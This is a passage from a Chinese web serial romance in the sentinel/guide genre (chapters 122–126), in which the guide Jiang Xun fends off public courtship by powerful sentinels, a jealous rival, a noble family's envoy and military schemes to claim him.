还有一点……如果他选择和洛伦茨走得近一些，那么来自其他匹配者的压力，便能转嫁大半到他的身上去。否则，自己若是一直拒绝所有人，一次两次还好，时间长的话，难保那些人动用一些非常手段。 江寻抬头看一眼洛伦茨，对方回以一个意味深长的微笑，显然他也想到了这点，但是仍然自信，愿意为江寻承担这样的压力。 良久，江寻几不可闻地轻叹一声，重新拿起银叉，叉起一小片冰凉的蓝鳍鱼刺身，送入了口中。 洛伦茨眼眸深处燃起一抹计划成功的喜悦，他没有继续追问，但嘴角勾起的弧度，泄露了他的好心情。 “你看，即使不是美食家，但所有人对美味的感知也是共通的，更何况，品尝它并不用付出任何额外的代价，你只需随心享用就好，这样的蓝鳍鱼，岂不是显得更加美味？” 他意有所指地说着，面上一副盈盈笑意，对着江寻举起了酒杯，“那祝我们……搭档愉快？” 江寻看着那伸过来的酒杯，略一停顿，举杯相碰。 醇厚的美酒滑过喉咙，带来一丝清甜，却驱不散压在心头的那份沉甸甸的隐忧。 * 两人下午都有课程要上，便没有在静海回廊中耽误太多时间，用罢午餐，洛伦茨就再次驾驶着悬浮车将江寻送了回来。 碧空无垠，悬浮车一阵平稳的滑行之后，轻盈地降落在了圣所教学区指定的停机坪上。 这辆熟悉的悬浮车，马上便吸引到了附近不少路过学员的目光。 舱门开启，洛伦茨率先迈步而出，低头时，银发在阳光下熠熠生辉，长腿一蹬便稳稳落了地，惹得周遭围观的人群中响起一片嬉笑。 可他落地之后，却并没有直接让开，而是极其自然地侧过身去，向舱内伸出了手，对着江寻微微一笑。 江寻看着那只伸过来的手，动作几不可查地顿了一瞬。 瞥见旁边越聚越多的人群，瞬间明白了洛伦茨的意图。 谣言散开的话，虽然自己这边会受到一些流言所扰，但对自己来说不痛不痒。可这样一来，洛伦茨那边恐怕就要面对实际的麻烦。 不过……他迎上洛伦茨的目光，确认里面毫无一丝勉强。 既然他自觉可以处理，江寻也没有浪费这个机会。 他抬手，虚虚搭在洛伦茨的手腕上，借力走了下来。只不过在外人看不到的角度里，动作克制，接触点到即止。 洛伦茨眉毛一挑，没有说什么，却在江寻站稳之后，准备抽回手的瞬间，手腕极其自然地翻转下来，反手轻轻握住了江寻的指尖。 力道不轻不重，却不容挣脱。他的拇指甚至还带着一丝缱绻，在江寻掌心中似有若无地摩挲了一下。 “小心台阶。”洛伦茨的声音低沉悦耳，带着一丝恰到好处的关切，冰蓝眼眸盈满笑意，专注地凝视着江寻，对周遭的惊呼恍若未闻，仿佛整个世界只剩下眼前这一个人。 这个短暂，看起来却十分亲昵的动作，配上那旁若无人的专注目光，瞬间点燃了围观人群的热情！ 停机坪附近本就聚集着不少过路的学员，在刚才洛伦茨率先出现时，就已经吸引了众多的目光。这一幕的出现，更是让无数双眼睛瞬间瞪大。 “嘶——！我看到了什么？这是……洛伦茨阁下？！” “天啊！他们这是牵手了？！” “这是谁？洛伦茨阁下亲自扶他下来，还……还握着手！” “我的天！你是山顶洞人吗？昨天那么大的动静你没听过啊！这是洛伦茨阁下昨天刚刚匹配上的向导！高级研修班那边的！” “天哪我要死了！你们看洛伦茨阁下看他的眼神！我的天，我磕死这一对好吗！” “这绝对是成了吧？！速度太快了！不愧是洛伦茨阁下！” “不是吧？！他们这么快就……但是我听说这个新晋向导，似乎还匹配上了不少人啊，这就确定了吗？” “废话！你看看他们的样子，都这样了，还能有假？！” 枯燥的学习生活，压抑不了年轻学员们的热情，尤其是对着这种带着桃色的新闻，更是让所有人兴奋地议论了起来。 江寻清晰地感受到了指尖传来的温热触感，与掌心里那点带着些暧昧意味的摩挲。 他眉心微微蹙了一下，扫了周围的人群一眼，又强制自己压下了眉头，迅速地抽回了手。 然而指尖残留下来的温度，与陌生的触感，还是给他带来了一种微妙的不适感。 定了定神，他看着面前面现期待注视着他的人，只是微微颌首道谢：“多谢阁下今日的邀请。” 洛伦茨将江寻那一瞬间的蹙眉和抽手的动作尽收眼底，非但不恼，眼底的笑意反而加深了几分。即使对方划清界限的冷语也没有令他的心情下降一分。低低轻笑一声，眼睛愉快地弯起，带着一种得逞的愉悦。 他要的就是这个效果，在众目睽睽之下，为面前的向导打上自己的印记。相信这一下，便足以驱退许多实力不济的竞争者了。 “客气，下午的课程加油！期待着下一次的约会！” 洛伦茨优雅地收回手，声音温和地回复。说完也不等江寻拒绝，转身便步履潇洒地走向了哨兵学院的方向，徒留下身后一地沸腾而起的议论声。 江寻站在原地，深深望了一眼洛伦茨远去的背影，同样没有理会那些交织在自己身上的复杂目光，穿过嗡嗡作响的人群，径直走向星环大厅。 两位主人公已经走远，更加肆无忌惮的热烈讨论声，在身后轰然爆发—— 作者有话说：更新来也！[加油] 第123章 停机坪周围人声鼎沸， 而不远处教学楼的阴影里，此时正有一人，被气得几乎喘不过气来。 桑扶死死攥着窗框边缘， 指节因为用力而发白， 刚刚停机坪上的那刺眼的一幕被他尽收眼底， 嫉恨的毒蛇啃噬得他心脏生疼。 凭什么？！那个整天端着个架子装腔作势的家伙，凭什么能得到所有人的瞩目？！他只不过现在比我高了一级而已，我也是潜力B级的高阶向导啊， 为什么所有人的目光都投注在他身上？！ 为什么能让这种除了等级之外什么都比不过我的家伙， 匹配上那么多顶级哨兵？！连一向眼高于顶，从不对其他向导假以辞色的洛伦茨都青睐他，才过了一个早上就忍不住跑去献殷勤！ 我也匹配上了弗兰克少爷啊，为什么他没有来？！弗兰克……对，还有弗兰克少爷！ 一个念头猛地闪过脑海，桑扶被嫉妒扭曲了的脸上， 缓缓扯出一个混合着怨毒与快意的笑容。 他们这会儿搞出的动静这么大， 弗兰克少爷不可能不知道！ “呵！”桑扶低声自语， “闹得好啊！闹得越大越好，夏因。呵呵呵……”他的声音里弥漫开一种病态的兴奋， 双眼随着自己的想象闪闪发光，“弗兰克少爷是什么身份？他怎么可能会愿意和一个没根没底的泥腿子抢人？既然你选了洛伦茨， 那弗兰克少爷，自然就会选我了！” “夏因， 你可真是个蠢货啊……”桑扶越想越是兴奋，“洛伦茨是厉害，可他哪里比得上雷欧家大少爷？更不要说，还有那么多其他顶级世家的子弟和军部要员。废物就是废物， 拿了一手好牌也不会打！你现在一定很风光很得意吧？可等我成为弗兰克少爷的绑定向导，我看你还笑不笑得出来！哈哈哈——！” 他仿佛已经看到，弗兰克少爷当众宣布选择自己成为绑定向导的那一刻，众人那羡慕嫉妒的目光；看到夏因失去了光环，在毕业离开学院以后，只为一点点报酬，和洛伦茨一起为别人卖命的狼狈样！ 说不定，到时候只要自己从手指缝里漏出一点点资源，他就会像条狗一样跪在自己脚下摇尾乞怜！ 桑扶为自己的想象兴奋得面目扭曲，脸上再看不到一丁点儿平日里的娇美可人。 兴奋地粗喘几口气，他的情绪这才渐渐平复下来。抬手整理了一下刚才被自己弄乱的衣襟，对着面前光可鉴人的玻璃窗，挤出一个练习过千百遍的完美笑容，而后转身离开了窗边。 下午，说不定弗兰克少爷就会来，他要时刻保持着最耀眼的模样才行。 * 下午又是一堂内容艰深晦涩的高阶理论课程。这种纯理论的课程，对于江寻这个没受过初级学院系统教育的实践派来说，难度还是比较大的。若不是在地球时经历过题海战术的磨砺，他恐怕也很难跟得上大家的进度。 这种时候，他只会把所有的精力都集中在课堂上，沉浸于复杂模型的构建中，那些外人的目光、停机坪上的闹剧、可能来到的威胁，在此刻统统被他抛在了脑后。 时间在专注中流逝得飞快。 当漫长的三个半小时过去时，江寻揉了揉酸涩的眼角，长长舒出了一口气。再次婉拒了几个同学聚会的邀请，收拾好晶板与教材，便随着人流向教室门口走去。 今天导师布置的作业难度不低，除了论文之外，他晚上还要去黑街那边重新开张，实在没有时间去陪这些不太熟的同学们进行无效社交。 然而，刚走到门边，他就察觉到了不对劲。 星环大厅正对着的那个路口，被里三圈外三圈的人围得水泄不通，不时有一声声惊呼与尖叫从中传出。 亢奋的声浪如蔓延的瘟疫一般四散传播，不断还有新的人潮汇入面前这圈人群。 桑扶也跟在众人身后，一出门便发现了门口的骚动。瞬间眼睛一亮，一种强烈的预感袭上心头。 他立刻踮起脚尖向着人群中央望了过去，可攒动的人头却把他的视线挡得严严实实，什么也看不见。 心中正着急，已经有站在圈内的女学员看到了他的身影，兴奋地尖叫了起来： “来了来了！主人公来了！” “桑扶！是弗兰克少爷！” 一个站在桑扶身后的向导兴奋地惊呼，用力推了推他，“他肯定是来找你的！快看那花！天啊，是星尘玫瑰！不愧是弗兰克少爷！太浪漫了！” 桑扶的心脏在胸腔里狂跳，内心的尖叫几乎要冲破喉咙！红晕迅速爬上脸颊，面上瞬间爆发出难以抑制的狂喜。可嘴上却还在推辞着： “别这么说，也不一定是我，之前不是还有夏因向导也与弗兰克少爷匹配上了吗？” “怎么可能是他？”一个兴奋的女学员马上反驳道：“中午的事大家又不是没看到，夏因向导不是都已经选了洛伦茨阁下了吗？弗兰克少爷肯定是来找你的呀！” “对啊，对啊！”另一人兴奋地附和，“哇！居然是弗兰克少爷亲自开悬浮车来了！他可从没这么放下身段过！桑扶，你快过去啊！还愣着干什么！” 桑扶深吸了一口气，努力压下几乎要咧到耳根的嘴角。 果然！夏因那个蠢货选了洛伦茨，弗兰克少爷马上就来找他了！他亲自开车来接，还有价值连城的星尘玫瑰！都是为了他准备的！ 众人艳羡嫉妒的目光，让他的虚荣心攀至顶峰！ 在众人的喧嚷声中，正对着星环大厅大门的路面，如摩西分海般让出一条通道，围观的人群吵吵嚷嚷地后退，将桑扶围绕在了中央。 人群散开，露出中央的景象。 那里赫然停泊着一辆造型流畅优雅如月下黑豹的限量版悬浮车！车身看似一片深邃漆黑，却在阳光下通体泛着细密的金属光泽！ 外部设计看起来简洁到极致，可车身上若隐若现的，在光线流转之时才会显露出来的雷欧家族徽记暗纹，却无声宣告着主人的尊贵身份。 幽冷的蓝光在尾翼后的阵列喷气口间无声跳跃，周围一圈的地面，都被这蛰伏巨兽的吐息清扫得纤尘不染。 弗兰克？雷欧脸上带着他那标志性的慵懒微笑，正姿态优雅而闲适地半靠在那辆悬浮车旁。一身礼服颜色低调，质料却极好，完美的剪裁衬得他的身姿格外挺拔。 也许是因为傍晚的阳光格外浪漫温柔，那一头灿烂的金发，此时也被镀上了一层温柔的色泽，少了几分平日里的张扬，多了几分作为世家继承人的沉稳气度。 他通身低调而奢华，唯有指尖翻转间露出的那朵经过精心修饰的玫瑰，汇聚了周遭所有的光芒。 无数细碎的晶石被仔细镶嵌在每一瓣花瓣的边缘，在暮色中折射出梦幻的光晕。 弗兰克静静靠在那里，目光扫过不断涌出的人群，却好像没有把任何一人看进眼里。 桑扶嘴角噙起一个兴奋笑意，挺直了纤细的脊背，迈着优雅矜持的步子，从分开的人群通道中，款款走向弗兰克。 微微扬起的脸庞上，挂着混合了羞涩与骄傲的完美笑容，他的目光落在弗兰克身上，对着那支璀璨完美的玫瑰伸出了手，声音中带着满满的甜腻和一丝掩藏不住的颤抖，仿佛被无法承受的巨大幸福击中： “弗兰克少爷，您真是太……” 他的话音未落。 弗兰克的目光扫了过来，却同掠过其他任何一个无关紧要的蝼蚁一样，没有任何停顿地从桑扶身上滑了过去。 他甚至没有分出一丝注意力给桑扶向他伸来的手，只是脚下微微一动，便及其自然地与迎面而来的桑扶错开了半个身位，直接绕过了他。 桑扶的手还维持着前伸的动作僵在半空，脸上盛开的笑容却被弗兰克无意间睨下的一眼瞬间冻结，面上的血色唰一下褪得干干净净！ 难以言喻的羞辱感如同冰水被当头浇下，他猛地睁大了眼睛，错愕地死死盯向与他擦身而过的弗兰克的背影。 周围瞬间一片死寂！ 刚才还喧嚣吵嚷的议论声戛然而止，起哄恭贺的人群，瞬间被这突如其来的变故惊呆在了原地—— 作者有话说：早上起来看了下，感觉昨天写的弗兰克的表现有点不合适，改了一下。不影响大的剧情，昨天已经看过新章的宝宝们可以回去再看一下。 第124章 江寻被路口的人群堵住， 正站在众人身后，等待着这场闹剧结束，忽而听到前方传来一阵惊呼， 站在身前的人纷纷向着两侧退去。 心里咯噔一下， 升起一股不妙的预感。 再要退走已经来不及， 通道打开，江寻一眼便和被众人簇拥在中间的弗兰克对上了视线。 弗兰克步履从容地绕过僵立的桑扶，慢慢走近， 在距离江寻两步之遥的地方停了下来， 人群看到他的动向，纷纷恍然，惊呼出声。 “咦……弗兰克少爷来找的人是夏因？” “不会吧？连弗兰克少爷都……” “夏因向导，”弗兰克的声音慢悠悠的，又十分温和悦耳，带着些世家子弟惯有的腔调， “下课了？希望我没有打扰到你。” 他微微一笑， 将手中那支璀璨夺目的星辰玫瑰轻柔随意地递向江寻， 像是丝毫没把这价值连城，花费了巨大人力物力的美丽珍宝放在眼里。 “偶然路过， 瞧见这枝玫瑰开得还算特别，或许……配得上你。” 他的话语说得随意， 递过来的手却强势停驻，江寻只是迟滞了一瞬， 周遭的议论声便渐起。 “听说夏因向导向来喜静，”弗兰克见江寻没有动作，再次逼近一步，一双幽深碧蓝的眼眸与江寻紧紧对视， “云隐轩中新到了一批窖藏，不知道夏因向导晚上是否有空，或许我们可以一起品鉴一番？” 此言一出，周围刻意压低的议论声再度翻涌，无数道目光凝聚在江寻身上，震惊、好奇、探究，几个零碎字眼飘入江寻耳中。 “……弗兰克少爷……居然也是找夏因？那桑扶……” “嘘……你看桑扶……” “……云隐轩……比静海回廊还……” 江寻的心微微一沉，弗兰克的手段比洛伦茨更高明，也更加难以应对。 他能感受到桑扶那如有实质的怨毒目光死死钉在自己身上，也能看穿弗兰克那看似温和的目光下，不容置疑的笃定。 他并不想在这么多人面前和对方闹得难看，想也知道这种豪门贵胄，平日里把面子看得比什么都重，在这种场面上折了他的面子，后续必定会有源源不断的麻烦缠上来。 可是如若接受，那中午默认洛伦茨的暂时接近，便也成了无用功，以后再有其他人来，他便更难拒绝了。 他深吸一口气，压下心头隐隐的烦躁，微微欠身，脸上露出恰到好处的歉意表情，声音清晰地打断周围人群的议论： “弗兰克少爷，您太客气了。”他的目光在面前的璀璨玫瑰上一掠而过，“这枝玫瑰太过珍贵，我实在不敢当。而且……”他抬起眼，迎上弗兰克带着笑意的双眼，目光真诚而遗憾，“我晚上已经有了安排，实在分身乏术。只能辜负您的美意了，非常抱歉。” 他的一段话说得态度真诚，干脆利落，让人挑不出错处，却也毫无转圜的余地。 弗兰克稍显意外地一挑眉梢，不是因为对方的拒绝，而是惊讶于江寻的胆量。 面对他们这样的贵胄，心中不愿的人多了，可就这么直接在明面上拒绝他的，却极少遇到。 “哦？有安排了？”他语调微微上扬，带着一抹遗憾，眼睛审视地盯着江寻，面上的表情丝毫未变，“那真是不巧……无妨，机会……总是会有的。” 递出玫瑰的那只手极其自然地收回，他随意将这枝价值连城的艺术品拈在指尖转了转，便信手递给了身边一个路人。 丝毫未在意那骤然获得如此珍贵礼物的路人，忍不住发出的低声尖叫。 那轻描淡写的姿态，仿佛被随意处置的，只是一件无足轻重的小玩意儿。 “可惜了，既然夏因向导今天有事，那我就不打扰了。”弗兰克对着江寻微微颔首，意有所指地微微一笑，“那我只好期待……下次有机会能与夏因向导深入交流了。” 说完，他不再看江寻，睨一眼身后惨白着脸色看向两人的桑扶，视线在他姣好的身形上停留一瞬，竟挑起唇角，对他露出了一个意味不明的微笑，继而转身，步伐从容地走向了自己的座驾。 早有侍者无声地侍立在了门边，待他一走近，车门便无声滑开。他优雅地入座，带着一丝难以捉摸的情绪又瞥了桑扶一眼。随即，引擎无声启动，漆黑的悬浮车平稳地滑入暮色，倏忽消失在了众人的视野之中。 直到悬浮车的身影彻底消失，人群才仿佛解除了禁制一般，轰然爆发出一阵更加激烈的议论！ “天啊！他居然拒绝了！夏因拒绝了弗兰克少爷！” “那么贵的星尘玫瑰啊……就那么随手送给别人了？那个幸运儿在哪？快让我们看看啊……” “哈哈！是我的了！哎~你们别抢，小心碰坏了我的花……” “嘘！你们别说了，看桑扶那边……” 没有理会身后的喧哗，江寻同样凝视着那迅速消失的悬浮车，紧绷的神经稍稍放松，后背却已渗出一层薄汗。 他知道，今天这看似体面的拒绝，实际上已经得罪了这位手握庞大资源与人脉的顶级世家继承人。 而弗兰克最后那番话语，也预示着事情远远没有结束。 他叹了口气，已经能够预见到之后纷至沓来的各种麻烦。也不等周围的人群反应过来，迅速穿过缝隙，便向着诊所的方向走去。 身后，无数道视线缠绕追随，其中，还有一道裹挟着极度的怨毒与愤恨。 桑扶僵在原地，指甲早已深深刺入掌心，带来钻心的痛楚。 弗兰克的无视，周围人那些幸灾乐祸的目光，刺得他如赤身裸体站在三九寒天之中。 他的面色一片惨白，心中对于江寻的恨怒燃烧到了顶点。看着他离去的背影，眼中翻腾的怨毒几乎要化为实质。 然而，想到弗兰克最后投来的那道目光，心底，却又升起了一丝微渺的希望。他再次转头看向弗兰克消失的方向，目光中渐渐燃起偏执的光芒。 而此时的弗兰克，靠坐在急速行驶的悬浮车后座上，脸上那完美的微笑已收敛了下去，只留下唇角最后一丝若有若无的弧度。 他若有所思地看着窗外飞速掠过的城市流光，指尖在光滑的扶手上轻轻敲击着，发出“叩叩叩”的规律轻响。 车中侍立的下属们噤若寒蝉，感受着车中渐渐沉重的压迫力，微微垂下了头。 “哼！倒是挺有意思的……”弗兰克薄唇微启，声音轻得如同耳语，话语间却一片冰冷，又想到了什么，手上的叩击声一顿，露出一抹真实的微笑，“看来，还得有人来教教他……” * 江寻几乎是用最快的速度回到了位于暗巷中的诊所。 推开大门，熟悉的昏黄灯光与消毒水的气味扑面而来，这才让他紧绷的神经稍稍松弛了下来。 江寻喘了口气，将今日所有经历过的事在脑海中过了一遍，深深叹了口气。 纷扰的事务让他疲于应对，连精神力匮乏的不适感也暂时抛诸于脑后，这会儿回到自己的地盘，才感到太阳穴上已经突突地跳动了起来。 深吸一口气，脱下那身纯白制服，换上惯常穿着的深色便服与白大褂，戴好覆住下半张脸的口罩，整个身体这才彻底放松了下来，仿佛卸下了一层沉重的铠甲。 点亮“营业中”的灯牌，江寻在诊疗台后坐了下来。 他的精神力还没恢复多少，本来可以不用过来的。可他刚刚拜托了黑蝎帮他调查消息，独自留在家里实在心焦，又怕错过第一时间传来的情报，便回到了诊所里。 就是以他现在的状态，实在无法为那些深度堕化的哨兵医治，只能接诊一些急症小病了。 太阳还没有彻底沉落下去，暗巷的喧嚣还未完全苏醒，窗外只有一些零星的脚步声透过窗户传进来。 江寻平静下来，在桌上摊开晶板与教材资料，打算在来人之前，先把今天教授布置下来的论文作业写完。 复杂的数据模型与艰涩的理论在眼前铺展开来，江寻集中精神，渐渐沉入知识的海洋中，将人事的纷扰暂时遗忘。 时间在笔下的沙沙声中快速过去，就在江寻沉浸在进度缓慢的论文中时，微合着的诊所大门上，忽然传来一阵清脆而规律的敲击声。 江寻闻声回头，一位身材挺拔，穿着一丝不苟的中年绅士，正挺立在门口，将审视的目光，落在了他的身上—— 作者有话说：一更来啦~[加油] ps：早上起来看昨天的更新，感觉弗兰克的性格表现有点问题，重新修改了一下。今天感觉有些奇怪的宝宝们可以重新翻一下上一章。不看也没事，不影响大的剧情走向。 第125章 来人年纪大约四五十岁， 一头夹杂着银丝的褐发梳得一丝不苟，面上两道深刻的法令纹，刻画出他严肃认真的性格。 他一身深灰色的燕尾服， 领口雪白， 挺括地竖起， 身上没有任何显眼的家族徽记，但那种从骨子里透出来的从容端庄，已无声地宣告了他身后的底蕴。 见江寻回头， 他这才迈着沉稳的步伐走了进来， 目光快速在周围稍显简陋，却设施完整的环境里扫了一圈，带着评估与审视的目光，这才落在了坐于诊疗台后的江寻身上。 “请问，您就是希先生吗？”男子的声音不高，语调平缓而清晰， 显露出一种千锤百炼的严谨认真。 “是我， 您是？” 江寻站起身来， 目光同样在男子身上不着痕迹地打量着，心下快速运转， 猜测着对方的身份与来意。 中年男子微微颔首：“冒昧打扰，我是劳伦斯， 服务于凡纳家族。” 他没有任何多余的寒暄，直接明了的表明了身份， 短短几个字，没有任何头衔与修饰，却因那个响彻整个联盟的姓氏，彰显出煊赫的分量。 “听闻阁下实力不凡， 来到这里短短的时间里便已颇负盛名，尤其擅长处理净化精神力。我家少爷的一位重要下属，近期在执行外域任务时，不慎受到了一种不明毒素的侵蚀。在愈灵殿诊治之后，收效还是甚微，我们多方打探，得知阁下您尤善此道，特来相请。” 劳伦斯的语气客气，说话时微微低下头来，在江寻面前也丝毫不露一分失礼：“不知希先生可否拨冗前往？” 江寻的心沉了下去。 凡纳家族，他记得清清楚楚，正是联盟三大顶级世家之一。而测试那天，他的匹配对象里，就有一位“凡纳”家举足轻重的大人物——联盟七名S级哨兵之一，凡纳家如今的第一继承人，伊莱？凡纳！ 如果是其他的名字，他还能相信对方的确是为了求医而来，可这个姓氏，几乎明晃晃着在告诉他，来人邀请的就是他“夏因”。对方能在这种时候出现在自己的诊所里，自己这身“希先生”的外衣，在对方眼里根本形同虚设，自己的一举一动，早已落入对方掌控之中。 不愧是……顶级世家。 江寻咽下一口唾沫，在此刻，透过着一点点微小的缝隙，窥到了所谓顶级世家庞大权势的一角。 不过，对方既然没有在明面上摆出姿态，只是在这无人的诊所中，对“希先生”发出邀请，话语里也只是以诊治的名义，看来暂时还没有逼迫他做什么的意思。 江寻心念电转，便大概明白了对方的想法。 自己明面上的最高潜力只有B级，而对方已经达到了S级！即使他们两人的匹配度很高，可在最高级的层面上，两级之间的差距依然十分巨大。对方也许并没有看得上自己，只是想在找到最合适的联姻对象之前，有一个备用的选项，以防止意外发生。 于是，便有了今天面前男子的来访。 他口中所述的这个病例，应该是真实存在的。他们此行一来是想告诉自己，已经在对方的关注之下。二来也是想借此摸摸自己的实力，看看自己是否能够在需要的时候，承担起疏导净化的作用来。 短短几分钟，江寻便已经理清了目前的局面，亦对于自己的应对有了打算。 “劳伦斯先生过誉了。”江寻同样颔首，态度不卑不亢，谦逊有礼，“如果可以，我当然非常愿意为贵客诊治，但是十分不巧，前几天为了给一位病人治疗，我消耗巨大，至今未能恢复万一。更何况外域毒素种类繁多，特性、症况不一而足，没有亲自为患者检查，我实在不敢夸口能治好。” 他抬眼，目光坦然地迎向男人忽而锐利起来的目光：“劳伦斯先生，我只是一个在黑街里讨生活的普通医生，若论医术，在这市井之中尚能谈得上一句够用，哪里又能比得过愈灵殿里的各位老师？实在不敢让贵客空等，为了贵客的安全，还请尽快寻找高阶向导诊治为好！” “像我这般的寻常向导，平生所求不过安稳度日，实在不敢欺瞒凡纳家族。此番拒绝非是不愿，实是不能，还请凡纳少爷见谅。” 一番委婉话语说下来，细陈困难，态度恭敬，让劳伦斯眉目渐展，锐利的目光也舒缓了下来。 他深深看了江寻一眼，眼神中已经带上了几分欣赏。 “希先生谦虚了。”他微微欠身，即使江寻拒绝了他，面对他时，仍然维持着挺直的脊背，一举一动标准而认真，“既然您现在确有难处，那此次只能遗憾作罢了。我会向大少爷陈明此事，另觅良医。” “不过，我家少爷对阁下的欣赏真实不虚，欢迎您随时来访。”他从怀中取出一张质地特殊，纹印着凡纳家族徽记暗纹的金属名卡，轻轻放在诊疗台上，推向江寻，“这份邀请长期有效，若是您改变了主意，亦或有任何需要凡纳家族协助之处，请随时联系我。” 话音落地，对着江寻微一颔首，便转身离开了诊所，步伐如来时一样从容不迫。 江寻捻起那张静静躺在桌面上的名卡，松下口气，他知道，这第一关，他算是安稳渡过了。 对方如今对自己的观感尚好，主要原因还是对方并未真正将他放在同一层面上。往后，如非必要，自己最好不要将此事泄露出去。同时，今后做事也不能酿出什么大动静，让对方再次关注自己。否则，都时候，恐怕就不会像今日一般被轻易放过了。 江寻叹息出声，事情仅仅过去了一天，他便已经被三波势力接连接触了。一番周旋下来，实在让本就不喜欢这种勾斗的江寻心力交瘁。 可江寻不知道的是，在他看不到的背后，一场不见硝烟的战争，已经在中央星的各个层面上悄然打响。 * 第三军团驻地，斯通上校办公室。 空气中铁血与硝烟的气息还未散尽。 斯通上校昨日还与军团长一起端坐在中央星明亮的大厅中，今日便已经一身血火，面色惨白黯淡。 光屏上“滴”一声响，一份遍布着鲜红条目的精神检测报告被发送到了他的终端上。 一眼瞥见那标着“愈灵殿”的熟悉的发送地址，他便忍不住深吸口气。 还未打开报告细看，终端再响，一条通讯请求被默认接通，一个熟悉的全息影像出现在了他的面前。 斯通第一时间肃起面容向着投影中的人影敬礼：“军团长阁下！” 那身影一眼便看清了斯通面上的疲惫与眼神中一分不和谐的混乱茫然，开口时，声音催促： “斯通！你的情况不能再拖了！以前一直是找不到合适的人选，这才让你一直依靠着公共疏导所的向导医师勉强度日。这回这个夏因向导，无论是等级还是匹配度，与你都完美契合，你需要他！你的小队也需要一个稳定的随军向导！” “我会交代其他人来接手你现在的任务，你马上带人去调查清楚这个向导的状况！那天的情形你也看到了，现在一定已经有其他人已经开始接触他了，你要尽快赶在更多人发现他之前，接触到他。” “如果合适，就尽快想办法拿下他，让他成为你的专属向导！我准你便宜行事，非常情况下可以使用特殊手段！”军团长意有所指地说。 “可是……”斯通神情一顿，声音中有些迟疑。 “没有可是！”军团长一眼便看清了这个得力干将眼中的不忍，“就算你不需要，你手下那几个小队长也不需要吗？每年冒出来的高级向导就这么几个，你不去抢，他也会被别人瓜分走。” “更何况，我们军部的条件是比中央星、比塔里艰苦一点，可我们也不会亏待他，只要他能尽心尽力地为士兵们疏导，不管是财富地位、还是生命安全，我们都能为他保障！” “这难道不比让他成为那些世家子弟的禁脔强吗？想想你躺在愈灵殿里的那些战友们！你们需要一个高级向导！” 斯通沉默下来，肩上的将星光芒黯淡，冰冷沉重。 片刻之后，终于应声。 “是，长官！” * 哨兵岛外城区，锈蚀齿轮酒馆中。 耳边充斥着震耳欲聋的重金属音乐。大厅里，酒精与汗臭、廉价香水的味道混杂在一起，熏得五感灵敏的哨兵直欲作呕。 季千钧却像是已经习惯了这样的环境，丝毫也没有不自在的感觉。 她独自一人坐在吧台的角落里，火红的短发炙热耀眼，一身紧身作战服勾勒出充满爆发力的诱人曲线。此时却没有任何一个不长眼的醉鬼敢去招惹她！ 她面前的桌面上摆着三四个空酒瓶，绿色的眼眸里却没有丝毫醉意。 她一脸烦躁地在腕上的终端上滑动着手指，光屏上，关于“夏因”的公开信息却始终少得可怜。 “啧，麻烦。”她仰头灌下手中最后一口烈酒，将空瓶“砰”地一声砸在吧台上。酒馆瞬间安静了一瞬，所有的目光都畏惧地投向了这个煞星。 季千钧站起身来，活动了一下手腕，发出“咔吧咔吧”的轻响。下一秒，她的目光扫过角落里几个眼神闪烁的男人。 一瞬间，被她盯上的人便觉寒毛直竖，迅速起身便要退走。可他的速度哪里比得上季千钧？ 只见她身形一晃，便如鬼魅般出现在了那几人面前，下一秒，修长有力的手指便扼上了为首者的咽喉。 “喂，喽啰。”季千钧的声音不高，听起来也毫无杀气，话语里的意思却让人遍体生寒，“从今天起，毒牙帮归我了。给你们的老大带句话，不想变成海底的烂泥，就乖乖地替我办事。” 男人的剧烈挣扎丝毫没能让她的手指松开半分，她稍一用力，便将对方整个提到了自己面前，嘴角勾起残酷的笑意： “去给我查查一个圣所高级研修班新来的向导，他叫夏因，男的，长得不错，看着二十五岁上下。他喜欢什么，讨厌什么，住在哪里，最近这段时间都和谁接触过，所有的信息，都给我挖出来！” 永远简单、粗暴，却格外高效，这便是闻名遐迩的“爆裂玫瑰”一贯的风格。 暗巷诊所中的灯光昏黄依旧，江寻还在为了今日的论文皱眉苦思。而在这平常的一天里，几股强大的势力网，已化为数道无形的触角，从四面八方，在暗夜里悄无声息地向着他蔓延而来—— 作者有话说：二更，修完啦[加油]下班！ 第126章 时间在圣所日复一日的钟声中悄然滑过。 一切似乎又恢复了平静的模样， 只是洛伦茨开始频繁出现在江寻身边，学员们对待江寻的态度也热情了许多。 洛伦茨不愧是能够连续三年蝉联首席的人物，分寸感拿捏得极好。他的邀约从不密集或如第一次那般引人注目， 更不会邀请江寻去过于私密的场合， 有时， 他甚至会以正经的学习交流为借口，与江寻探讨一些学术交流内容与哨向配合的技巧。 对于洛伦茨的邀约，江寻大部分时候会婉拒掉， 可对方实在太会寻找机会了， 总能找到恰当的理由出现在江寻身边。经常也不是特意邀他出门，而是三不五时的“偶遇”与几句日常闲聊。即使被江寻拒绝，也总是优雅地表示理解，下次换个方式再来。 江寻无法每次都拒绝，在洛伦茨这样润物无声的渗透下，他也渐渐放松了下来， 与对方的关系越来越像好友。久而久之， 圣所内部也都默认了两人关系稳定的现状。 与此同时， 弗兰克在第一次邀约被拒后，便再也没有亲自出现在江寻面前。江寻并未特意打听他的动向， 但他与桑扶越来越密切的关系，却成为了圣所中新的谈资。 有人看到桑扶出现在雷欧家族赞助的艺术展上， 巧笑倩兮地站在弗兰克身侧，一起接受众人或真或假的恭维。也有人看到弗兰克的管家偶尔会在桑扶下课时， 等待在门外把他接走。桑扶身上也多了不少名贵的饰品、衣物，渐渐恢复了开学时的容光焕发，每天都打扮得花枝招展招摇过市，频繁地外出游玩。 弗兰克也不吝在一些需要向导协同的课程里， 主动选择桑扶来与他配合。 这种风向的转变，悄无声息地影响着周边学员们的态度。那些在匹配度测试之后，因为江寻匹配上了许多顶级哨兵，而围绕过来的热情目光，经过这段时间的冷却之后，渐渐转移。 众人投向江寻的目光里，探究依旧，但热切的恭维与刻意的亲近却少了许多，取而代之的是一些微妙的观望情绪，甚至已经有人不加掩饰地流露出隐隐的同情与幸灾乐祸。 而桑扶身边，则重新聚集起了一批嗅觉灵敏的拥趸。他享受着被追捧的快感，看向江寻时，眼底的得意与挑衅几乎不加掩饰。 江寻对此恍若未觉，依旧独来独往，沉静地穿梭于教室、图书馆和暗巷诊所之间，一心专注于课业提升自己，回家则努力恢复精神力，等待“门”的再次开启，等待黑蝎的消息，寻找小树的真实来处。 就在这种微妙的氛围里，一条来自圣所指挥中心的信息，被推送到了所有学员的终端里： 